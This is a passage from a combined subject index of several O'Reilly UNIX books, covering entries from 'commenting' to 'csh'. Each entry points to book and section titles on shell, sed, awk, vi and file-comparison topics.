X root menu : Learning the UNIX Operating System, 2.3.3. The Root Menu
commenting
Learning the Korn Shell, 4.3.1. Syntax of String Operators
sed & awk, 5.2. Comment
sed & awk, 10.7.4. Commenting Out Loud
sed & awk, B.2.2.2. Comments
in awk scripts : sed & awk, 7.4.1. Describing Your Script
Bourne shell scripts : UNIX Power Tools, 44.2. Writing a Simple Shell Program
ease of use : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
examples : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
in files, modifying : UNIX in a Nutshell, Chapter 2, Reference: mcs
in sh and ksh shells : UNIX in a Nutshell, Chapter 4, Reference: #
starting with # (pound) : UNIX Power Tools, 45.2. The Story of : # #!
starting with :
UNIX Power Tools, 45.2. The Story of : # #!
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
in termcap or terminfo files : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
commercial versions of awk : sed & awk, 11.3. Commercial awks
communication parameters, changing on the fly : UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
communications utilities : UNIX Power Tools, 1.33. UNIX Networking and Communications
compacting files : (see compressing/uncompressing files)
comparing
directory contents : UNIX in a Nutshell, Chapter 2, Reference: dircmp
directory trees : UNIX Power Tools, 16.22. Comparing Two Directory Trees with dircmp
documents : UNIX in a Nutshell, Chapter 2, Reference: diffmk
editing and : UNIX Power Tools, 28.9. ex Scripts Built by diff
filenames : UNIX Power Tools, 16.23. Comparing Filenames in Two Directory Trees
files : UNIX Power Tools, 18.9. Renaming, Copying, or Comparing a Set of Files
bdiff command
UNIX Power Tools, 28.7. diff for Very Long Files: bdiff
UNIX in a Nutshell, Chapter 2, Reference: bdiff
cmp program
UNIX Power Tools, 28.11. cmp and diff
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: cmp
comm command
UNIX Power Tools, 2.14. motd.diff: Show New Lines in Login Messages
UNIX Power Tools, 16.23. Comparing Filenames in Two Directory Trees
UNIX Power Tools, 28.12. Comparing Two Files with comm
UNIX in a Nutshell, Chapter 2, Reference: comm
diff command : (see diff command)
diff3 command
UNIX Power Tools, 28.2. Comparing Three Different Versions with diff3
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: diff3
diffmk command
UNIX Power Tools, 28.15. Show Changes in a troff File with diffmk
UNIX in a Nutshell, Chapter 2, Reference: diffmk
make utility for : UNIX Power Tools, 28.13. make Isn't Just for Programmers!
rcsdiff command (RCS)
UNIX in a Nutshell, 18.2. Basic Operation
UNIX in a Nutshell, Chapter 18, Reference: rcsdiff
sccsdiff command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: sccsdiff
sdiff command
UNIX Power Tools, 28.4. Side-by-Side diffs: sdiff
UNIX Power Tools, 28.6. Choosing Sides with sdiff
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: sdiff
twin program
UNIX Power Tools, 28.5. Comparing Files Alongside One Another
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
operators for (csh) : UNIX in a Nutshell, 5.4.1.4. Comparison Operators
relationship operators for : sed & awk, 7.8. Relational and Boolean Operators
strings : sed & awk, 9.2.5. The match() Function
word counts : UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
competion, filename : UNIX Power Tools, 11.13. Shell Command-Line Editing
compilation process
UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
UNIX Power Tools, 52.8.2.8. The make Program
UNIX Power Tools, 52.8.2. Compiling Source Code
compiling, regular expressions : UNIX in a Nutshell, Chapter 2, Reference: regcmp
complete shell variable : UNIX Power Tools, 6.9. Special C Shell Variables
completion, filename : UNIX Power Tools, 9.8. Filename Completion: Faster Filename Typing
compound statements : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
compressing/uncompressing files
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
UNIX in a Nutshell, Chapter 2, Reference: compress
UNIX in a Nutshell, Chapter 2, Reference: pack
UNIX in a Nutshell, Chapter 2, Reference: uncompress
UNIX in a Nutshell, Chapter 2, Reference: zcat
compress command
Learning the Korn Shell, 1.8. Background Jobs
Learning the Korn Shell, 1.8.1. Background I/O
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX in a Nutshell, Chapter 2, Reference: compress
compressor script : UNIX Power Tools, 21.5. What Good Is a File's Last Access Time?
editing compressed files : UNIX Power Tools, 24.11. Edit Compressed Files with zvi, zex, and zed
entire directory tree
UNIX Power Tools, 24.8. Save Space: tar and compress a Directory Tree
UNIX Power Tools, 24.12. Compressing a Directory Tree: Fine-Tuning
gunzip utility
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 19.7. Extracting Files from a Compressed Archive
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
gzip utility
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 24.6. Save Space with Tab Characters
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
paging through compressed files : (see paging and pagers)
running commands on compressed files : UNIX Power Tools, 24.10. zloop: Run a Command on Compressed Files
whitespace and : UNIX Power Tools, 24.6. Save Space with Tab Characters
concatenation
sed & awk, 3.1. That's an Expression
sed & awk, 7.6. Expressions
condition tests
Learning the Korn Shell, 5.1.3. Condition Tests
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.5. bash
arithmetic
Learning the Korn Shell, 6.2.1. Arithmetic Conditionals
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
integer values as truth values
Learning the Korn Shell, 6.2.1. Arithmetic Conditionals
Learning the Korn Shell, 9.2.3.5. Execution tracing
file attribute operators : Learning the Korn Shell, 5.1.3.3. File Attribute Checking
-a
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, A.7. The Future of the Korn Shell
-d
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.5. while and until
-f
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 5.2. for
-G : Learning the Korn Shell, 5.1.3.3. File Attribute Checking
-nt
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 7.3.2. eval
-O
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 5.2. for
-ot : Learning the Korn Shell, 5.1.3.3. File Attribute Checking
-r
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 5.2. for
-s : Learning the Korn Shell, 5.1.3.3. File Attribute Checking
-w
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 5.2. for
-x
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.5. while and until
function of : Learning the Korn Shell, 5.1.3. Condition Tests
integer comparison operators : Learning the Korn Shell, 5.1.4. Integer Conditionals
-eq : Learning the Korn Shell, 5.1.4. Integer Conditionals
-ge : Learning the Korn Shell, 5.1.4. Integer Conditionals
-gt : Learning the Korn Shell, 5.1.4. Integer Conditionals
-le : Learning the Korn Shell, 5.1.4. Integer Conditionals
-lt : Learning the Korn Shell, 5.1.4. Integer Conditionals
-ne : Learning the Korn Shell, 5.1.4. Integer Conditionals
obsolescence in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
old syntax
Learning the Korn Shell, 5.1.3. Condition Tests
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.5. bash
Learning the Korn Shell, A.6. Workalikes on PC Platforms
processing of text inside : Learning the Korn Shell, 5.1.3. Condition Tests
string comparison operators : Learning the Korn Shell, 5.1.3.1. String comparisons
!= : Learning the Korn Shell, 5.1.3.1. String comparisons
> : Learning the Korn Shell, 5.1.3.1. String comparisons
< : Learning the Korn Shell, 5.1.3.1. String comparisons
-n
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 5.5. while and until
-z : Learning the Korn Shell, 5.1.3.1. String comparisons
=
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the Korn Shell, A.7. The Future of the Korn Shell
string vs. integer comparisons : Learning the Korn Shell, 5.1.4. Integer Conditionals
supported in MKS Toolkit shell : Learning the Korn Shell, A.6. Workalikes on PC Platforms
in while and until statements : Learning the Korn Shell, 5.5. while and until
conditional statements
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
sed & awk, 8.1. Conditional Statements
sed & awk, 11.1.3. The C Conditional Expression
(see also if loops; for loops; foreach loops; while loops; unless loops)
configuration files
for csh : UNIX Power Tools, 2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
pathnames in : UNIX Power Tools, 2.6. Use Absolute Pathnames in Shell Setup Files
shells : UNIX Power Tools, 2.2. Shell Setup Files-Which, Where, and Why
configure shell script : UNIX Power Tools, 52.8.2.6. An Easy Build
configuring control characters : Learning the UNIX Operating System, 3.6. Customizing Your Account
configuring terminals
UNIX Power Tools, 5.1. There's a Lot to Know About Terminals
UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
connecting to UNIX terminals : Learning the UNIX Operating System, 1.1.1. Connecting to the UNIX Computer
conserving disk space : (see disk space)
constants
Learning the Korn Shell, 6.3.4. Type and Attribute Options
sed & awk, B.2.5.1. Constants
constants, hexadecimal (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
CONT (continue) signal : UNIX Power Tools, 38.8. What Are Signals?
cont command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: cont
continue command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: continue
continue command (csh) : UNIX in a Nutshell, Chapter 5, Reference: continue
continue command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: continue
continue signal : (see CONT signal)
continue statement : sed & awk, 8.3. Other Statements That Affect Flow Control
continued lines : sed & awk, 11.2.3.3. Line continuation
control assignments, setting : UNIX in a Nutshell, Chapter 2, Reference: stty
control characters/keys
Learning the Korn Shell, 1.9.5. Control Keys
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
UNIX Power Tools, 41.11.1. Special Character Codes
clashes with editing modes : Learning the Korn Shell, 2. Command-line Editing
configuring : Learning the UNIX Operating System, 3.6. Customizing Your Account
CTRL-\
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.6.2. Nested Subshells
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
CTRL-/ : UNIX Power Tools, 38.9. Killing Foreground Jobs
CTRL-C
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, 8.3. Signals
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, 8.4. trap
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the Korn Shell, 8.6.2. Nested Subshells
Learning the Korn Shell, 9.1.2.1. EXIT
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 38.9. Killing Foreground Jobs
aborting programs : UNIX Power Tools, 42.2.5. Aborting Programs
CTRL-D
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 1.5. Interactive Shell Use
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 8.4.1. Traps and Functions
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 2.5.1. Quick Login
UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
UNIX Power Tools, 51.5. Copy What You Do with script
flushing the input buffer : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
typing command lines in at : UNIX Power Tools, 40.3. The at Command
CTRL-H
Learning the Korn Shell, 1.9.5. Control Keys
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
UNIX Power Tools, 41.2.2. Handling Most Characters
CTRL-J
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
CTRL-L : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
CTRL-M
Learning the Korn Shell, 1.9.5. Control Keys
UNIX Power Tools, 1.29. When Is a File Not a File?
UNIX Power Tools, 4.9. Setting Up vi with the .exrc File
CTRL-Q
Learning the Korn Shell, 1.9.5. Control Keys
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
killing processes : UNIX Power Tools, 38.15. Cleaning Up an Unkillable Process
restarting output : UNIX Power Tools, 42.2.1. Output Stopped?
CTRL-R : UNIX Power Tools, 9.3. Reprinting Your Command Line with CTRL-r
CTRL-S
Learning the Korn Shell, 1.9.5. Control Keys
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
stopping output : UNIX Power Tools, 42.2.1. Output Stopped?
CTRL-U
Learning the Korn Shell, 1.9.5. Control Keys
UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-W : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-X : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-Z
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, 8.3. Signals
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 1.28. Some Gotchas with Background Processing
UNIX Power Tools, 12.1.1. Foreground and Background
UNIX Power Tools, 38.8. What Are Signals?
putting jobs in background : UNIX Power Tools, 42.2.3. Program Waiting for Input?
stopping a subshell : UNIX Power Tools, 38.4. Subshells
used during sourcing : UNIX Power Tools, 47.2.2.1. Built-Ins
echoing in BSD : UNIX Power Tools, 41.5. Why Some Systems Backspace over Prompts
Emacs and : UNIX Power Tools, 32.10. Inserting Binary Characters into Files
ex and vi editors and : UNIX Power Tools, 31.6. Protecting Keys from Interpretation by ex
in scripts : UNIX Power Tools, 45.35. Using a Control Character in a Script
storing : UNIX Power Tools, 51.6. Cleaning script Files
control echo : UNIX Power Tools, 41.2.3. What About TABs?
control modes, setting : UNIX in a Nutshell, Chapter 2, Reference: stty
Control-key commands (emacs) : UNIX in a Nutshell, 7.3.1. Control-key Sequences
controlling process : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
controlling terminal : UNIX Power Tools, 38.6. The Controlling Terminal
conventions, typographical : Learning the Korn Shell, Conventions Used in This Handbook
conversation between users
UNIX in a Nutshell, Chapter 2, Reference: talk
UNIX in a Nutshell, Chapter 2, Reference: write
converting : sed & awk, 8.4.5. Making Conversions
acronym processor (example) : sed & awk, 8.5. An Acronym Processor
base
UNIX Power Tools, 49.5. Base Conversion Using cvtbase
UNIX Power Tools, 49.3. Gotchas in Base Conversion
binary : UNIX Power Tools, 49.2. bc: Hexadecimal or Binary Conversion
case
sed & awk, 5.7. Transform
sed & awk, 6.3.1. A Capital Transformation
sed & awk, 9.2. String Functions
sed & awk, 9.2.4. Converting Case
UNIX in a Nutshell, Chapter 2, Reference: dd
character sets : UNIX in a Nutshell, Chapter 2, Reference: iconv
COFF and ELF files : UNIX in a Nutshell, Chapter 2, Reference: cof2elf
files
string_files into msg_files : UNIX in a Nutshell, Chapter 2, Reference: mkmsgs
into tables : UNIX in a Nutshell, Chapter 2, Reference: yacc
hexadecimal : UNIX Power Tools, 49.2. bc: Hexadecimal or Binary Conversion
number units : UNIX in a Nutshell, Chapter 2, Reference: units
numbers to strings : sed & awk, 7.7. System Variables
CONVFMT variable
sed & awk, 7.7. System Variables
sed & awk, 8.4.1. Associative Arrays
cooked mode : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
Cooper, Michael : UNIX Power Tools, 5.5. Querying Your Terminal Type: qterm
coprocesses (Korn shell) : UNIX in a Nutshell, 4.2.6. Coprocesses
COPTS -I declaration : UNIX Power Tools, 52.8.2.8. The make Program
copy command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: copy
copy commands (vi)
range of lines (:co or :t) : Learning the vi Editor, 5.2.2. Defining a Range of Lines
text (y)
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
(see also yank)
copying
archives : UNIX in a Nutshell, Chapter 2, Reference: cpio
directory trees : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
files
Learning the UNIX Operating System, 4.4.2. Copying Files
UNIX Power Tools, 18.1. What's So Complicated About Copying Files?
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX Power Tools, 18.9. Renaming, Copying, or Comparing a Set of Files
UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
UNIX in a Nutshell, Chapter 2, Reference: cp
(see also moving files; renaming files)
between machines : UNIX in a Nutshell, Chapter 2, Reference: rcp
dd command
UNIX Power Tools, 20.5. Using tar to a Remote Tape Drive
UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
UNIX Power Tools, 35.6. Low-Level File Butchery with dd
UNIX Power Tools, 35.12. Converting Between ASCII and EBCDIC
UNIX Power Tools, 35.13. Other Conversions with dd
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: dd
to directories
UNIX Power Tools, 21.12. Copying Files to a Directory
UNIX Power Tools, 45.25. Shell Scripts On-the-Fly from Standard Input
with remote systems : UNIX in a Nutshell, Chapter 2, Reference: uucp
remotely : Learning the UNIX Operating System, 4.4.2.3. rcp
from tape : UNIX in a Nutshell, Chapter 2, Reference: tar
links : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
permissions : UNIX Power Tools, 22.16. Copying Permissions with cpmod
programs : sed & awk, 10.7.1. Make a Copy
standard input
UNIX in a Nutshell, Chapter 2, Reference: tee
UNIX in a Nutshell, Chapter 2, Reference: tr
UNIX in a Nutshell, Chapter 2, Reference: vc
(see also standard input)
text, in vi : UNIX Power Tools, 30.8. Get Back What You Deleted with Numbered Buffers
in xterm windows : Learning the UNIX Operating System, 2.4.3. Using a Mouse with xterm Windows
core dumps
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.4. trap
Learning the Korn Shell, 8.6.2. Nested Subshells
Learning the Korn Shell, 10.2.2. ulimit
UNIX Power Tools, 24.5. Limiting File Sizes
made by QUIT signal : UNIX Power Tools, 38.9. Killing Foreground Jobs
core images, creating : UNIX in a Nutshell, Chapter 2, Reference: gcore
coroutines
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, 8.5. Coroutines
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
definition : Learning the Korn Shell, 8.5. Coroutines
on multiple-CPU computers : Learning the Korn Shell, 8.5.3. Parallelization
performance issues : Learning the Korn Shell, 8.5.2. Advantages and Disadvantages of Coroutines
pipelines as example of : Learning the Korn Shell, 8.5. Coroutines
two-way pipes : (see two-way pipes)
cos command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: cos
cos() : sed & awk, 9.1.1. Trigonometric Functions
count.it script
UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
count_types script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
counting : UNIX Power Tools, 30.16. Counting Occurrences; Stopping Search Wraps
in for loops : sed & awk, 8.2.3. For Loop
text elements : UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
wordfreq script : UNIX Power Tools, 29.7. Count How Many Times Each Word Is Used
cp command
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the Korn Shell, 8.5.3. Parallelization
Learning the UNIX Operating System, 4.4.2.1. cp
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: cp
(see also rcp utility)
-b, -i options : UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
-p option : UNIX Power Tools, 22.21. How to Change File Ownership Without chown
-r option : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
cpio command
UNIX Power Tools, 19.9. A System V Tape Archiver: cpio
UNIX in a Nutshell, Chapter 2, Reference: cpio
options : UNIX Power Tools, 19.9. A System V Tape Archiver: cpio
cpmod utility
UNIX Power Tools, 22.16. Copying Permissions with cpmod
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
CPU
contention, measuring : UNIX Power Tools, 39.12.1. The CPU
system time
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 39.3. The csh time variable
UNIX Power Tools, 39.5. Why Is the System So Slow?
user time : UNIX Power Tools, 39.3. The csh time variable
crash, recovering from : Learning the vi Editor, 4.2.3. Recovering a Buffer
create pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
creating directories : UNIX in a Nutshell, Chapter 2, Reference: mkdir
cron daemon : UNIX Power Tools, 40.12.1. Execution Scheduling
cron jobs
adding calendar information to : UNIX Power Tools, 48.4.3. Automating Your Own Calendar
environment of : UNIX Power Tools, 40.12. Periodic Program Execution: The cron Facility
including standard input within : UNIX Power Tools, 40.14. Including Standard Input Within a cron Entry
personal : UNIX Power Tools, 40.5. Avoiding Other at and cron Jobs
schedule : UNIX Power Tools, 40.12.1. Execution Scheduling
crontab command
Learning the Korn Shell, 2.2. The History File
UNIX Power Tools, 40.1. Off-Peak Job Submission
UNIX Power Tools, 40.13. Adding crontab Entries
UNIX Power Tools, 40.15. crontab Script Makes crontab Editing Easier/Safer
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: crontab
crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
adding/editing/deleting : UNIX Power Tools, 40.13. Adding crontab Entries
example : UNIX Power Tools, 40.12.1. Execution Scheduling
"cross-device link" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
cross-referencing scheme : sed & awk, 1.1. May You Solve Interesting Problems
crush script
UNIX Power Tools, 25.11. crush: A cat that Skips all Blank Lines
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Crypt Breaker's Workbench program : UNIX Power Tools, 22.17. Ways of Improving the Security of crypt
crypt utility
UNIX Power Tools, 22.17. Ways of Improving the Security of crypt
UNIX in a Nutshell, Chapter 2, Reference: crypt
cscope command : UNIX in a Nutshell, Chapter 2, Reference: cscope
csh (C shell)
Learning the Korn Shell, Preface
Learning the Korn Shell, Intended Audience
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.3.2. Features of the Korn Shell
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 2.3.5. Filename Completion and Expansion
Learning the Korn Shell, 3.2. Aliases
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 3.5.2. The Environment File
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.2. Shell Variables
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
Learning the Korn Shell, 10.3.4. Privileged Mode
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 1.8. There Are Many Shells
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 44.3.3. Types of Shells
sed & awk, 1.4. Four Hurdles to Mastering sed and awk
sed & awk, 2.3.1. Specifying Simple Instructions
UNIX in a Nutshell, 5. The C Shell
accidental logouts : UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
advantages
UNIX Power Tools, 44.3.3. Types of Shells
UNIX Power Tools, 47.5. Using C Shell Arrays
aliases
UNIX Power Tools, 10.6. Avoiding C Shell Alias Loops
UNIX Power Tools, 10.7. How to Put if-then-else in a C Shell Alias
background processing
UNIX Power Tools, 1.27. How Background Processing Works
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
bash, csh, ksh, sh shells compared to
UNIX Power Tools, 47.1. Why Not?
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
UNIX Power Tools, 45.7. The exec Command
UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
UNIX in a Nutshell, 3.5. Differing Features
bugs in : UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
built-in string operators : UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
commands
built-in, list of : UNIX in a Nutshell, 5.6. Built-in C Shell Commands
history of
UNIX Power Tools, 11.11.2. C Shell
UNIX Power Tools, 11.15. Changing C Shell History Characters with histchars
UNIX Power Tools, 51.7. When You Get Impatient
(see also command history)
importing : UNIX Power Tools, 8.12. Which One Will the C Shell Use?
interpreting : UNIX Power Tools, 8.5. Command-Line Evaluation
command name for : UNIX Power Tools, 42.2.5. Aborting Programs
command tools and : UNIX Power Tools, 1.14. The Kernel and Daemons
configuration files : UNIX Power Tools, 2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
creating empty file : UNIX Power Tools, 21.7. Setting File Modification Time with touch
default prompt : UNIX Power Tools, 7.1. Why Change Your Prompt?
disadvantages
UNIX Power Tools, 44.3.3. Types of Shells
UNIX Power Tools, 47.1. Why Not?
UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
echo command : UNIX Power Tools, 8.6.1. Portability
editing history substitutions : UNIX Power Tools, 9.6. String Editing (Colon) Operators
error handling : UNIX Power Tools, 47.2.7. Error Handling
eval command : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
executing scripts via : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
exit status inserted : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
expressions in
UNIX Power Tools, 47.4.2. Expressions
UNIX Power Tools, 47.4.4. Examples
UNIX in a Nutshell, 5.4. Expressions
-f option : UNIX Power Tools, 2.5.1. Quick Login
flow control in : UNIX Power Tools, 47.2.2.2. Flow Control
interrupted : UNIX Power Tools, 45.8. Handling Signals to Child Processes
invoking shell : UNIX in a Nutshell, 5.8. Invoking the Shell
job control : UNIX in a Nutshell, 5.7. Job Control
Korn shell compared to : UNIX Power Tools, 47.1. Why Not?
.logout file : UNIX Power Tools, 3.1. Running Commands When You Log Out
loops
UNIX Power Tools, 9.11. Repeating a Command with a foreach Loop
UNIX Power Tools, 47.2.6. Expression Evaluation
mail notification : UNIX Power Tools, 21.8.1. For C Shell Users
managing file descriptors : UNIX Power Tools, 47.2.1. File Descriptors
matching word, escaping : UNIX Power Tools, 8.18. Here Documents
multiline commands : UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
nesting aliases : UNIX Power Tools, 10.2.3. Setting Aliases Automatically, Unsetting Aliases
noclobber variable
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 13.6. Safe I/O Redirection with noclobber
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
operator precedence in : UNIX Power Tools, 47.4.2. Expressions
parsing in : UNIX Power Tools, 47.2.2.3. Stupid Parsing Bugs
passing command history to : UNIX Power Tools, 11.12. Pass History to Another Shell
pipelines in : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
quoting in
UNIX Power Tools, 8.15. Differences Between Bourne and C Shell Quoting
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
UNIX Power Tools, 47.2.4. Quoting
random number generators : UNIX Power Tools, 45.11. The Multipurpose jot Command
redirecting input/output : (see redirection)
rehash command : UNIX Power Tools, 4.2. A bin Directory for Your Programs and Scripts
